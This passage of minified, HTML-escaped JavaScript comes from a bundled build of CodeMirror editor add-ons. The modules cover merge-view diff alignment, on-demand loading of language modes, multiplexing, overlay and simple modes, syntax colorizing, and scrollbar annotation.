b=this;a.on(&quot;markerAdded&quot;,function(a,c){if(c.collapsed){var d=c.find(1);null!=d&amp;&amp;b.set(d.line,_)}}),a.on(&quot;markerCleared&quot;,function(a,c,d,e){null!=e&amp;&amp;c.collapsed&amp;&amp;b.check(e,_,b.hasMarker)}),a.on(&quot;markerChanged&quot;,this.signal.bind(this)),a.on(&quot;lineWidgetAdded&quot;,function(a,c,d){c.mergeSpacer||(c.above?b.set(d-1,$):b.set(d,Z))}),a.on(&quot;lineWidgetCleared&quot;,function(a,c,d){c.mergeSpacer||(c.above?b.check(d-1,$,b.hasWidgetBelow):b.check(d,Z,b.hasWidget))}),a.on(&quot;lineWidgetChanged&quot;,this.signal.bind(this)),a.on(&quot;change&quot;,function(a,c){var d=c.from.line,e=c.to.line-c.from.line,f=c.text.length-1,g=d+f;(e||f)&amp;&amp;b.map(d,e,f),b.check(g,_,b.hasMarker),(e||f)&amp;&amp;b.check(c.from.line,_,b.hasMarker)}),a.on(&quot;viewportChange&quot;,function(){b.cm.doc.height!=b.height&amp;&amp;b.signal()})}function O(a,b){return(a.line-b.line||a.ch-b.ch)&lt;0?a:b}function P(a,b){return(a.line-b.line||a.ch-b.ch)&gt;0?a:b}function Q(a,b){return a.line==b.line&amp;&amp;a.ch==b.ch}function R(a,b,c){for(var d=a.length-1;d&gt;=0;d--){var e=a[d],f=(c?e.origTo:e.editTo)-1;if(f&lt;b)return f}}function S(a,b,c){for(var d=0;d&lt;a.length;d++){var e=a[d],f=c?e.origFrom:e.editFrom;if(f&gt;b)return f}}function T(b,d){var e=null,f=b.state.diffViews,g=b.getCursor().line;if(f)for(var h=0;h&lt;f.length;h++){var i=f[h],j=b==i.orig;c(i);var k=d&lt;0?R(i.chunks,g,j):S(i.chunks,g,j);null==k||null!=e&amp;&amp;!(d&lt;0?k&gt;e:k&lt;e)||(e=k)}return null==e?a.Pass:void b.setCursor(e,0)}var U=a.Pos,V=&quot;http://www.w3.org/2000/svg&quot;;b.prototype={constructor:b,init:function(b,c,d){this.edit=this.mv.edit,(this.edit.state.diffViews||(this.edit.state.diffViews=[])).push(this),this.orig=a(b,L({value:c,readOnly:!this.mv.options.allowEditingOriginals},L(d))),&quot;align&quot;==this.mv.options.connect&amp;&amp;(this.edit.state.trackAlignable||(this.edit.state.trackAlignable=new N(this.edit)),this.orig.state.trackAlignable=new N(this.orig)),this.orig.state.diffViews=[this];var e=d.chunkClassLocation||&quot;background&quot;;&quot;[object Array]&quot;!=Object.prototype.toString.call(e)&amp;&amp;(e=[e]),this.classes.classLocation=e,this.diff=z(y(c),y(d.value),this.mv.options.ignoreWhitespace),this.chunks=A(this.diff),this.diffOutOfDate=this.dealigned=!1,this.needsScrollSync=null,this.showDifferences=d.showDifferences!==!1},registerEvents:function(a){this.forceUpdate=d(this),h(this,!0,!1),e(this,a)},setShowDifferences:function(a){a=a!==!1,a!=this.showDifferences&amp;&amp;(this.showDifferences=a,this.forceUpdate(&quot;full&quot;))}};var W=!1,X=a.MergeView=function(c,d){if(!(this instanceof X))return new X(c,d);this.options=d;var e=d.origLeft,f=null==d.origRight?d.orig:d.origRight,g=null!=e,h=null!=f,i=1+(g?1:0)+(h?1:0),j=[],k=this.left=null,l=this.right=null,m=this;if(g){k=this.left=new b(this,&quot;left&quot;);var o=I(&quot;div&quot;,null,&quot;CodeMirror-merge-pane CodeMirror-merge-left&quot;);j.push(o),j.push(x(k))}var p=I(&quot;div&quot;,null,&quot;CodeMirror-merge-pane CodeMirror-merge-editor&quot;);if(j.push(p),h){l=this.right=new b(this,&quot;right&quot;),j.push(x(l));var q=I(&quot;div&quot;,null,&quot;CodeMirror-merge-pane CodeMirror-merge-right&quot;);j.push(q)}(h?q:p).className+=&quot; CodeMirror-merge-pane-rightmost&quot;,j.push(I(&quot;div&quot;,null,null,&quot;height: 0; clear: both;&quot;));var r=this.wrap=c.appendChild(I(&quot;div&quot;,j,&quot;CodeMirror-merge CodeMirror-merge-&quot;+i+&quot;pane&quot;));this.edit=a(p,L(d)),k&amp;&amp;k.init(o,e,d),l&amp;&amp;l.init(q,f,d),d.collapseIdentical&amp;&amp;this.editor().operation(function(){H(m,d.collapseIdentical)}),&quot;align&quot;==d.connect&amp;&amp;(this.aligners=[],s(this.left||this.right,!0)),k&amp;&amp;k.registerEvents(l),l&amp;&amp;l.registerEvents(k);var t=function(){k&amp;&amp;n(k),l&amp;&amp;n(l)};a.on(window,&quot;resize&quot;,t);var u=setInterval(function(){for(var b=r.parentNode;b&amp;&amp;b!=document.body;b=b.parentNode);b||(clearInterval(u),a.off(window,&quot;resize&quot;,t))},5e3)};X.prototype={constructor:X,editor:function(){return this.edit},rightOriginal:function(){return this.right&amp;&amp;this.right.orig},leftOriginal:function(){return this.left&amp;&amp;this.left.orig},setShowDifferences:function(a){this.right&amp;&amp;this.right.setShowDifferences(a),this.left&amp;&amp;this.left.setShowDifferences(a)},rightChunks:function(){if(this.right)return c(this.right),this.right.chunks},leftChunks:function(){if(this.left)return c(this.left),this.left.chunks}};var Y,Z=1,$=2,_=4;N.prototype={signal:function(){a.signal(this,&quot;realign&quot;),this.height=this.cm.doc.height},set:function(a,b){for(var c=-1;c&lt;this.alignable.length;c+=2){var d=this.alignable[c]-a;if(0==d){if((this.alignable[c+1]&amp;b)==b)return;return this.alignable[c+1]|=b,void this.signal()}if(d&gt;0)break}this.signal(),this.alignable.splice(c,0,a,b)},find:function(a){for(var b=0;b&lt;this.alignable.length;b+=2)if(this.alignable[b]==a)return b;return-1},check:function(a,b,c){var d=this.find(a);if(d!=-1&amp;&amp;this.alignable[d+1]&amp;b&amp;&amp;!c.call(this,a)){this.signal();var e=this.alignable[d+1]&amp;~b;e?this.alignable[d+1]=e:this.alignable.splice(d,2)}},hasMarker:function(a){var b=this.cm.getLineHandle(a);if(b.markedSpans)for(var c=0;c&lt;b.markedSpans.length;c++)if(b.markedSpans[c].mark.collapsed&amp;&amp;null!=b.markedSpans[c].to)return!0;return!1},hasWidget:function(a){var b=this.cm.getLineHandle(a);if(b.widgets)for(var c=0;c&lt;b.widgets.length;c++)if(!b.widgets[c].above&amp;&amp;!b.widgets[c].mergeSpacer)return!0;return!1},hasWidgetBelow:function(a){if(a==this.cm.lastLine())return!1;var b=this.cm.getLineHandle(a+1);if(b.widgets)for(var c=0;c&lt;b.widgets.length;c++)if(b.widgets[c].above&amp;&amp;!b.widgets[c].mergeSpacer)return!0;return!1},map:function(a,b,c){for(var d=c-b,e=a+b,f=-1,g=-1,h=0;h&lt;this.alignable.length;h+=2){var i=this.alignable[h];i==a&amp;&amp;this.alignable[h+1]&amp;$&amp;&amp;(f=h),i==e&amp;&amp;this.alignable[h+1]&amp;$&amp;&amp;(g=h),i&lt;=a||(i&lt;e?this.alignable.splice(h--,2):this.alignable[h]+=d)}if(f&gt;-1){var j=this.alignable[f+1];j==$?this.alignable.splice(f,2):this.alignable[f+1]=j&amp;~$}g&gt;-1&amp;&amp;c&amp;&amp;this.set(a+c,$)}},a.commands.goNextDiff=function(a){return T(a,1)},a.commands.goPrevDiff=function(a){return T(a,-1)}})},{&quot;../../lib/codemirror&quot;:59}],35:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;),&quot;cjs&quot;):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],function(a){d(a,&quot;amd&quot;)}):d(CodeMirror,&quot;plain&quot;)}(function(b,c){function d(a,b){var c=b;return function(){0==--c&amp;&amp;a()}}function e(a,c){var e=b.modes[a].dependencies;if(!e)return c();for(var f=[],g=0;g&lt;e.length;++g)b.modes.hasOwnProperty(e[g])||f.push(e[g]);if(!f.length)return c();for(var h=d(c,f.length),g=0;g&lt;f.length;++g)b.requireMode(f[g],h)}b.modeURL||(b.modeURL=&quot;../mode/%N/%N.js&quot;);var f={};b.requireMode=function(d,g){if(&quot;string&quot;!=typeof d&amp;&amp;(d=d.name),b.modes.hasOwnProperty(d))return e(d,g);if(f.hasOwnProperty(d))return f[d].push(g);var h=b.modeURL.replace(/%N/g,d);if(&quot;plain&quot;==c){var i=document.createElement(&quot;script&quot;);i.src=h;var j=document.getElementsByTagName(&quot;script&quot;)[0],k=f[d]=[g];b.on(i,&quot;load&quot;,function(){e(d,function(){for(var a=0;a&lt;k.length;++a)k[a]()})}),j.parentNode.insertBefore(i,j)}else&quot;cjs&quot;==c?(a(h),g()):&quot;amd&quot;==c&amp;&amp;requirejs([h],g)},b.autoLoadMode=function(a,c){b.modes.hasOwnProperty(c)||b.requireMode(c,function(){a.setOption(&quot;mode&quot;,a.getOption(&quot;mode&quot;))})}})},{&quot;../../lib/codemirror&quot;:59}],36:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;a.multiplexingMode=function(b){
function c(a,b,c,d){if(&quot;string&quot;==typeof b){var e=a.indexOf(b,c);return d&amp;&amp;e&gt;-1?e+b.length:e}var f=b.exec(c?a.slice(c):a);return f?f.index+c+(d?f[0].length:0):-1}var d=Array.prototype.slice.call(arguments,1);return{startState:function(){return{outer:a.startState(b),innerActive:null,inner:null}},copyState:function(c){return{outer:a.copyState(b,c.outer),innerActive:c.innerActive,inner:c.innerActive&amp;&amp;a.copyState(c.innerActive.mode,c.inner)}},token:function(e,f){if(f.innerActive){var g=f.innerActive,h=e.string;if(!g.close&amp;&amp;e.sol())return f.innerActive=f.inner=null,this.token(e,f);var i=g.close?c(h,g.close,e.pos,g.parseDelimiters):-1;if(i==e.pos&amp;&amp;!g.parseDelimiters)return e.match(g.close),f.innerActive=f.inner=null,g.delimStyle&amp;&amp;g.delimStyle+&quot; &quot;+g.delimStyle+&quot;-close&quot;;i&gt;-1&amp;&amp;(e.string=h.slice(0,i));var j=g.mode.token(e,f.inner);return i&gt;-1&amp;&amp;(e.string=h),i==e.pos&amp;&amp;g.parseDelimiters&amp;&amp;(f.innerActive=f.inner=null),g.innerStyle&amp;&amp;(j=j?j+&quot; &quot;+g.innerStyle:g.innerStyle),j}for(var k=1/0,h=e.string,l=0;l&lt;d.length;++l){var m=d[l],i=c(h,m.open,e.pos);if(i==e.pos)return m.parseDelimiters||e.match(m.open),f.innerActive=m,f.inner=a.startState(m.mode,b.indent?b.indent(f.outer,&quot;&quot;):0),m.delimStyle&amp;&amp;m.delimStyle+&quot; &quot;+m.delimStyle+&quot;-open&quot;;i!=-1&amp;&amp;i&lt;k&amp;&amp;(k=i)}k!=1/0&amp;&amp;(e.string=h.slice(0,k));var n=b.token(e,f.outer);return k!=1/0&amp;&amp;(e.string=h),n},indent:function(c,d){var e=c.innerActive?c.innerActive.mode:b;return e.indent?e.indent(c.innerActive?c.inner:c.outer,d):a.Pass},blankLine:function(c){var e=c.innerActive?c.innerActive.mode:b;if(e.blankLine&amp;&amp;e.blankLine(c.innerActive?c.inner:c.outer),c.innerActive)&quot;\n&quot;===c.innerActive.close&amp;&amp;(c.innerActive=c.inner=null);else for(var f=0;f&lt;d.length;++f){var g=d[f];&quot;\n&quot;===g.open&amp;&amp;(c.innerActive=g,c.inner=a.startState(g.mode,e.indent?e.indent(c.outer,&quot;&quot;):0))}},electricChars:b.electricChars,innerMode:function(a){return a.inner?{state:a.inner,mode:a.innerActive.mode}:{state:a.outer,mode:b}}}}})},{&quot;../../lib/codemirror&quot;:59}],37:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;a.overlayMode=function(b,c,d){return{startState:function(){return{base:a.startState(b),overlay:a.startState(c),basePos:0,baseCur:null,overlayPos:0,overlayCur:null,streamSeen:null}},copyState:function(d){return{base:a.copyState(b,d.base),overlay:a.copyState(c,d.overlay),basePos:d.basePos,baseCur:null,overlayPos:d.overlayPos,overlayCur:null}},token:function(a,e){return(a!=e.streamSeen||Math.min(e.basePos,e.overlayPos)&lt;a.start)&amp;&amp;(e.streamSeen=a,e.basePos=e.overlayPos=a.start),a.start==e.basePos&amp;&amp;(e.baseCur=b.token(a,e.base),e.basePos=a.pos),a.start==e.overlayPos&amp;&amp;(a.pos=a.start,e.overlayCur=c.token(a,e.overlay),e.overlayPos=a.pos),a.pos=Math.min(e.basePos,e.overlayPos),null==e.overlayCur?e.baseCur:null!=e.baseCur&amp;&amp;e.overlay.combineTokens||d&amp;&amp;null==e.overlay.combineTokens?e.baseCur+&quot; &quot;+e.overlayCur:e.overlayCur},indent:b.indent&amp;&amp;function(a,c){return b.indent(a.base,c)},electricChars:b.electricChars,innerMode:function(a){return{state:a.base,mode:b}},blankLine:function(a){var e,f;return b.blankLine&amp;&amp;(e=b.blankLine(a.base)),c.blankLine&amp;&amp;(f=c.blankLine(a.overlay)),null==f?e:d&amp;&amp;null!=e?e+&quot; &quot;+f:f}}}})},{&quot;../../lib/codemirror&quot;:59}],38:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;function b(a,b){if(!a.hasOwnProperty(b))throw new Error(&quot;Undefined state &quot;+b+&quot; in simple mode&quot;)}function c(a,b){if(!a)return/(?:)/;var c=&quot;&quot;;return a instanceof RegExp?(a.ignoreCase&amp;&amp;(c=&quot;i&quot;),a=a.source):a=String(a),new RegExp((b===!1?&quot;&quot;:&quot;^&quot;)+&quot;(?:&quot;+a+&quot;)&quot;,c)}function d(a){if(!a)return null;if(a.apply)return a;if(&quot;string&quot;==typeof a)return a.replace(/\./g,&quot; &quot;);for(var b=[],c=0;c&lt;a.length;c++)b.push(a[c]&amp;&amp;a[c].replace(/\./g,&quot; &quot;));return b}function e(a,e){(a.next||a.push)&amp;&amp;b(e,a.next||a.push),this.regex=c(a.regex),this.token=d(a.token),this.data=a}function f(a,b){return function(c,d){if(d.pending){var e=d.pending.shift();return 0==d.pending.length&amp;&amp;(d.pending=null),c.pos+=e.text.length,e.token}if(d.local){if(d.local.end&amp;&amp;c.match(d.local.end)){var f=d.local.endToken||null;return d.local=d.localState=null,f}var g,f=d.local.mode.token(c,d.localState);return d.local.endScan&amp;&amp;(g=d.local.endScan.exec(c.current()))&amp;&amp;(c.pos=c.start+g.index),f}for(var i=a[d.state],j=0;j&lt;i.length;j++){var k=i[j],l=(!k.data.sol||c.sol())&amp;&amp;c.match(k.regex);if(l){k.data.next?d.state=k.data.next:k.data.push?((d.stack||(d.stack=[])).push(d.state),d.state=k.data.push):k.data.pop&amp;&amp;d.stack&amp;&amp;d.stack.length&amp;&amp;(d.state=d.stack.pop()),k.data.mode&amp;&amp;h(b,d,k.data.mode,k.token),k.data.indent&amp;&amp;d.indent.push(c.indentation()+b.indentUnit),k.data.dedent&amp;&amp;d.indent.pop();var m=k.token;if(m&amp;&amp;m.apply&amp;&amp;(m=m(l)),l.length&gt;2){d.pending=[];for(var n=2;n&lt;l.length;n++)l[n]&amp;&amp;d.pending.push({text:l[n],token:k.token[n-1]});return c.backUp(l[0].length-(l[1]?l[1].length:0)),m[0]}return m&amp;&amp;m.join?m[0]:m}}return c.next(),null}}function g(a,b){if(a===b)return!0;if(!a||&quot;object&quot;!=typeof a||!b||&quot;object&quot;!=typeof b)return!1;var c=0;for(var d in a)if(a.hasOwnProperty(d)){if(!b.hasOwnProperty(d)||!g(a[d],b[d]))return!1;c++}for(var d in b)b.hasOwnProperty(d)&amp;&amp;c--;return 0==c}function h(b,d,e,f){var h;if(e.persistent)for(var i=d.persistentStates;i&amp;&amp;!h;i=i.next)(e.spec?g(e.spec,i.spec):e.mode==i.mode)&amp;&amp;(h=i);var j=h?h.mode:e.mode||a.getMode(b,e.spec),k=h?h.state:a.startState(j);e.persistent&amp;&amp;!h&amp;&amp;(d.persistentStates={mode:j,spec:e.spec,state:k,next:d.persistentStates}),d.localState=k,d.local={mode:j,end:e.end&amp;&amp;c(e.end),endScan:e.end&amp;&amp;e.forceEnd!==!1&amp;&amp;c(e.end,!1),endToken:f&amp;&amp;f.join?f[f.length-1]:f}}function i(a,b){for(var c=0;c&lt;b.length;c++)if(b[c]===a)return!0}function j(b,c){return function(d,e,f){if(d.local&amp;&amp;d.local.mode.indent)return d.local.mode.indent(d.localState,e,f);if(null==d.indent||d.local||c.dontIndentStates&amp;&amp;i(d.state,c.dontIndentStates)&gt;-1)return a.Pass;var g=d.indent.length-1,h=b[d.state];a:for(;;){for(var j=0;j&lt;h.length;j++){var k=h[j];if(k.data.dedent&amp;&amp;k.data.dedentIfLineStart!==!1){var l=k.regex.exec(e);if(l&amp;&amp;l[0]){g--,(k.next||k.push)&amp;&amp;(h=b[k.next||k.push]),e=e.slice(l[0].length);continue a}}}break}return g&lt;0?0:d.indent[g]}}a.defineSimpleMode=function(b,c){a.defineMode(b,function(b){return a.simpleMode(b,c)})},a.simpleMode=function(c,d){b(d,&quot;start&quot;);var g={},h=d.meta||{},i=!1;for(var k in d)if(k!=h&amp;&amp;d.hasOwnProperty(k))for(var l=g[k]=[],m=d[k],n=0;n&lt;m.length;n++){var o=m[n];l.push(new e(o,d)),(o.indent||o.dedent)&amp;&amp;(i=!0)}var p={startState:function(){return{state:&quot;start&quot;,pending:null,local:null,localState:null,indent:i?[]:null}},copyState:function(b){var c={state:b.state,pending:b.pending,local:b.local,localState:null,indent:b.indent&amp;&amp;b.indent.slice(0)};b.localState&amp;&amp;(c.localState=a.copyState(b.local.mode,b.localState)),b.stack&amp;&amp;(c.stack=b.stack.slice(0));for(var d=b.persistentStates;d;d=d.next)c.persistentStates={mode:d.mode,spec:d.spec,state:d.state==b.localState?c.localState:a.copyState(d.mode,d.state),next:c.persistentStates};return c},token:f(g,c),innerMode:function(a){return a.local&amp;&amp;{mode:a.local.mode,state:a.localState}},indent:j(g,h)};if(h)for(var q in h)h.hasOwnProperty(q)&amp;&amp;(p[q]=h[q]);return p}})},{&quot;../../lib/codemirror&quot;:59}],39:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;),a(&quot;./runmode&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;,&quot;./runmode&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;function b(a,d){if(3==a.nodeType)return d.push(a.nodeValue);for(var e=a.firstChild;e;e=e.nextSibling)b(e,d),c.test(a.nodeType)&amp;&amp;d.push(&quot;\n&quot;)}var c=/^(p|li|div|h\\d|pre|blockquote|td)$/;a.colorize=function(c,d){c||(c=document.body.getElementsByTagName(&quot;pre&quot;));for(var e=0;e&lt;c.length;++e){var f=c[e],g=f.getAttribute(&quot;data-lang&quot;)||d;if(g){var h=[];b(f,h),f.innerHTML=&quot;&quot;,a.runMode(h.join(&quot;&quot;),g,f),f.className+=&quot; cm-s-default&quot;}}}})},{&quot;../../lib/codemirror&quot;:59,&quot;./runmode&quot;:41}],40:[function(a,b,c){window.CodeMirror={},function(){&quot;use strict&quot;;function a(a){return a.split(/\r?\n|\r/)}function b(a){this.pos=this.start=0,this.string=a,this.lineStart=0}b.prototype={eol:function(){return this.pos&gt;=this.string.length},sol:function(){return 0==this.pos},peek:function(){return this.string.charAt(this.pos)||null},next:function(){if(this.pos&lt;this.string.length)return this.string.charAt(this.pos++)},eat:function(a){var b=this.string.charAt(this.pos);if(&quot;string&quot;==typeof a)var c=b==a;else var c=b&amp;&amp;(a.test?a.test(b):a(b));if(c)return++this.pos,b},eatWhile:function(a){for(var b=this.pos;this.eat(a););return this.pos&gt;b},eatSpace:function(){for(var a=this.pos;/[\s\u00a0]/.test(this.string.charAt(this.pos));)++this.pos;return this.pos&gt;a},skipToEnd:function(){this.pos=this.string.length},skipTo:function(a){var b=this.string.indexOf(a,this.pos);if(b&gt;-1)return this.pos=b,!0},backUp:function(a){this.pos-=a},column:function(){return this.start-this.lineStart},indentation:function(){return 0},match:function(a,b,c){if(&quot;string&quot;!=typeof a){var d=this.string.slice(this.pos).match(a);return d&amp;&amp;d.index&gt;0?null:(d&amp;&amp;b!==!1&amp;&amp;(this.pos+=d[0].length),d)}var e=function(a){return c?a.toLowerCase():a},f=this.string.substr(this.pos,a.length);if(e(f)==e(a))return b!==!1&amp;&amp;(this.pos+=a.length),!0},current:function(){return this.string.slice(this.start,this.pos)},hideFirstChars:function(a,b){this.lineStart+=a;try{return b()}finally{this.lineStart-=a}},lookAhead:function(){return null}},CodeMirror.StringStream=b,CodeMirror.startState=function(a,b,c){return!a.startState||a.startState(b,c)};var c=CodeMirror.modes={},d=CodeMirror.mimeModes={};CodeMirror.defineMode=function(a,b){arguments.length&gt;2&amp;&amp;(b.dependencies=Array.prototype.slice.call(arguments,2)),c[a]=b},CodeMirror.defineMIME=function(a,b){d[a]=b},CodeMirror.resolveMode=function(a){return&quot;string&quot;==typeof a&amp;&amp;d.hasOwnProperty(a)?a=d[a]:a&amp;&amp;&quot;string&quot;==typeof a.name&amp;&amp;d.hasOwnProperty(a.name)&amp;&amp;(a=d[a.name]),&quot;string&quot;==typeof a?{name:a}:a||{name:&quot;null&quot;}},CodeMirror.getMode=function(a,b){b=CodeMirror.resolveMode(b);var d=c[b.name];if(!d)throw new Error(&quot;Unknown mode: &quot;+b);return d(a,b)},CodeMirror.registerHelper=CodeMirror.registerGlobalHelper=Math.min,CodeMirror.defineMode(&quot;null&quot;,function(){return{token:function(a){a.skipToEnd()}}}),CodeMirror.defineMIME(&quot;text/plain&quot;,&quot;null&quot;),CodeMirror.runMode=function(b,c,d,e){var f=CodeMirror.getMode({indentUnit:2},c);if(1==d.nodeType){var g=e&amp;&amp;e.tabSize||4,h=d,i=0;h.innerHTML=&quot;&quot;,d=function(a,b){if(&quot;\n&quot;==a)return h.appendChild(document.createElement(&quot;br&quot;)),void(i=0);for(var c=&quot;&quot;,d=0;;){var e=a.indexOf(&quot;\t&quot;,d);if(e==-1){c+=a.slice(d),i+=a.length-d;break}i+=e-d,c+=a.slice(d,e);var f=g-i%g;i+=f;for(var j=0;j&lt;f;++j)c+=&quot; &quot;;d=e+1}if(b){var k=h.appendChild(document.createElement(&quot;span&quot;));k.className=&quot;cm-&quot;+b.replace(/ +/g,&quot; cm-&quot;),k.appendChild(document.createTextNode(c))}else h.appendChild(document.createTextNode(c))}}for(var j=a(b),k=e&amp;&amp;e.state||CodeMirror.startState(f),l=0,m=j.length;l&lt;m;++l){l&amp;&amp;d(&quot;\n&quot;);var n=new CodeMirror.StringStream(j[l]);for(!n.string&amp;&amp;f.blankLine&amp;&amp;f.blankLine(k);!n.eol();){var o=f.token(n,k);d(n.current(),o,l,n.start,k),n.start=n.pos}}}}()},{}],41:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;a.runMode=function(b,c,d,e){var f=a.getMode(a.defaults,c),g=/MSIE \d/.test(navigator.userAgent),h=g&amp;&amp;(null==document.documentMode||document.documentMode&lt;9);if(d.appendChild){var i=e&amp;&amp;e.tabSize||a.defaults.tabSize,j=d,k=0;j.innerHTML=&quot;&quot;,d=function(a,b){if(&quot;\n&quot;==a)return j.appendChild(document.createTextNode(h?&quot;\r&quot;:a)),void(k=0);for(var c=&quot;&quot;,d=0;;){var e=a.indexOf(&quot;\t&quot;,d);if(e==-1){c+=a.slice(d),k+=a.length-d;break}k+=e-d,c+=a.slice(d,e);var f=i-k%i;k+=f;for(var g=0;g&lt;f;++g)c+=&quot; &quot;;d=e+1}if(b){var l=j.appendChild(document.createElement(&quot;span&quot;));l.className=&quot;cm-&quot;+b.replace(/ +/g,&quot; cm-&quot;),l.appendChild(document.createTextNode(c))}else j.appendChild(document.createTextNode(c))}}for(var l=a.splitLines(b),m=e&amp;&amp;e.state||a.startState(f),n=0,o=l.length;n&lt;o;++n){n&amp;&amp;d(&quot;\n&quot;);var p=new a.StringStream(l[n]);for(!p.string&amp;&amp;f.blankLine&amp;&amp;f.blankLine(m);!p.eol();){var q=f.token(p,m);d(p.current(),q,n,p.start,m),p.start=p.pos}}}})},{&quot;../../lib/codemirror&quot;:59}],42:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;function b(a,b){function c(a){clearTimeout(d.doRedraw),d.doRedraw=setTimeout(function(){d.redraw()},a)}this.cm=a,this.options=b,this.buttonHeight=b.scrollButtonHeight||a.getOption(&quot;scrollButtonHeight&quot;),this.annotations=[],this.doRedraw=this.doUpdate=null,this.div=a.getWrapperElement().appendChild(document.createElement(&quot;div&quot;)),this.div.style.cssText=&quot;position: absolute; right: 0; top: 0; z-index: 7; pointer-events: none&quot;,this.computeScale();var d=this;a.on(&quot;refresh&quot;,this.resizeHandler=function(){clearTimeout(d.doUpdate),d.doUpdate=setTimeout(function(){d.computeScale()&amp;&amp;c(20)},100)}),a.on(&quot;markerAdded&quot;,this.resizeHandler),a.on(&quot;markerCleared&quot;,this.resizeHandler),b.listenForChanges!==!1&amp;&amp;a.on(&quot;change&quot;,this.changeHandler=function(){c(250)})}a.defineExtension(&quot;annotateScrollbar&quot;,function(a){return&quot;string&quot;==typeof a&amp;&amp;(a={className:a}),new b(this,a)}),a.defineOption(&quot;scrollButtonHeight&quot;,0),b.prototype.computeScale=function(){var a=this.cm,b=(a.getWrapperElement().clientHeight-a.display.barHeight-2*this.buttonHeight)/a.getScrollerElement().scrollHeight;if(b!=this.hScale)return this.hScale=b,!0},b.prototype.update=function(a){this.annotations=a,this.redraw()},b.prototype.redraw=function(a){function b(a,b){if(i!=a.line&amp;&amp;(i=a.line,j=c.getLineHandle(i)),j.widgets&amp;&amp;j.widgets.length||g&amp;&amp;j.height&gt;h)return c.charCoords(a,&quot;local&quot;)[b?&quot;top&quot;:&quot;bottom&quot;];var d=c.heightAtLine(j,&quot;local&quot;);return d+(b?0:j.height)}a!==!1&amp;&amp;this.computeScale();var c=this.cm,d=this.hScale,e=document.createDocumentFragment(),f=this.annotations,g=c.getOption(&quot;lineWrapping&quot;),h=g&amp;&amp;1.5*c.defaultTextHeight(),i=null,j=null,k=c.lastLine();if(c.display.barWidth)for(var l,m=0;m&lt;f.length;m++){var n=f[m];if(!(n.to.line&gt;k)){for(var o=l||b(n.from,!0)*d,p=b(n.to,!1)*d;m&lt;f.length-1&amp;&amp;!(f[m+1].to.line&gt;k)&amp;&amp;(l=b(f[m+1].from,!0)*d,!(l&gt;p+.9));)n=f[++m],p=b(n.to,!1)*d;if(p!=o){var q=Math.max(p-o,3),r=e.appendChild(document.createElement(&quot;div&quot;));r.style.cssText=&quot;position: absolute; right: 0px; width: &quot;+Math.max(c.display.barWidth-1,2)+&quot;px; top: &quot;+(o+this.buttonHeight)+&quot;px; height: &quot;+q+&quot;px&quot;,r.className=this.options.className,n.id&amp;&amp;r.setAttribute(&quot;annotation-id&quot;,n.id)}}}this.div.textContent=&quot;&quot;,this.div.appendChild(e)},b.prototype.clear=function(){this.cm.off(&quot;refresh&quot;,this.resizeHandler),this.cm.off(&quot;markerAdded&quot;,this.resizeHandler),this.cm.off(&quot;markerCleared&quot;,this.resizeHandler),this.changeHandler&amp;&amp;this.cm.off(&quot;change&quot;,this.changeHandler),this.div.parentNode.removeChild(this.div)}})},{&quot;../../lib/codemirror&quot;:59}],43:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;function b(b,d){a.changeEnd(d).line==b.lastLine()&amp;&amp;c(b)}function c(a){var b=&quot;&quot;;if(a.lineCount()&gt;1){var d=a.display.scroller.clientHeight-30,e=a.getLineHandle(a.lastLine()).height;b=d-e+&quot;px&quot;}a.state.scrollPastEndPadding!=b&amp;&amp;(a.state.scrollPastEndPadding=b,a.display.lineSpace.parentNode.style.paddingBottom=b,a.off(&quot;refresh&quot;,c),a.setSize(),a.on(&quot;refresh&quot;,c))}a.defineOption(&quot;scrollPastEnd&quot;,!1,function(d,e,f){f&amp;&amp;f!=a.Init&amp;&amp;(d.off(&quot;change&quot;,b),d.off(&quot;refresh&quot;,c),d.display.lineSpace.parentNode.style.paddingBottom=&quot;&quot;,d.state.scrollPastEndPadding=null),e&amp;&amp;(d.on(&quot;change&quot;,b),d.on(&quot;refresh&quot;,c),c(d))})})},{&quot;../../lib/codemirror&quot;:59}],44:[function(a,b,c){!function(d){&quot;object&quot;==typeof c&amp;&amp;&quot;object&quot;==typeof b?d(a(&quot;../../lib/codemirror&quot;)):&quot;function&quot;==typeof define&amp;&amp;define.amd?define([&quot;../../lib/codemirror&quot;],d):d(CodeMirror)}(function(a){&quot;use strict&quot;;function b(b,c,d){function e(b){var 